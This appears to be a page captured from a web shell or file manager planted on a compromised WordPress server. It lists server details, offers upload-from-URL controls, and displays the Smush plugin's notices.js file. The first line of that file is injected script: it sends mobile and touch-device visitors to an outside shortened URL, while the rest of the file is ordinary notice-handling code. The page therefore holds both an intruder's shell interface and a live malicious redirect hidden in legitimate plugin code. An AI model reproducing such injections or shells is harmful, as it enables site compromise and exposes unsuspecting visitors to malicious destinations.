Server : LiteSpeed
System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User : gazetufm ( 1431)
PHP Version : 8.1.35
Disable Function : NONE
Directory :  /home2/gazetufm/public_html/wp/wp-content/plugins/wp-smushit/_src/react/utils/

📁 Create New:
⬆️ Upload File:
Current Dir [ Not Writable ] Root [ Writable ]


OR Upload from URL:
URL: Save as:

📄 File: notices.js

Path: //home2/gazetufm/public_html/wp/wp-content/plugins/wp-smushit/_src/react/utils/notices.js

Size: 1.1 KB

Permissions: 0444

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
export function showSuccessNotice(id, message, dismissible = true) {
	return showNotice(id, message, 'success', dismissible);
}

export function showErrorNotice(id, message, dismissible = true) {
	return showNotice(id, message, 'error', dismissible);
}

export function showInfoNotice(id, message, dismissible = true) {
	return showNotice(id, message, 'info', dismissible);
}

export function showWarningNotice(id, message, dismissible = true) {
	return showNotice(id, message, 'warning', dismissible);
}

export function closeNotice(id) {
	SUI.closeNotice(id);
}

export function showNotice(id, message, type = 'success', dismissible = true) {
	const icons = {
		error: 'warning-alert',
		info: 'info',
		warning: 'warning-alert',
		success: 'check-tick'
	};

	SUI.closeNotice(id);
	SUI.openNotice(id, '<p>' + message + '</p>', {
		type: type,
		icon: icons[type],
		dismiss: {show: dismissible}
	});
}

← Back to Directory Edit File 🔒 Chmod

WP File Manager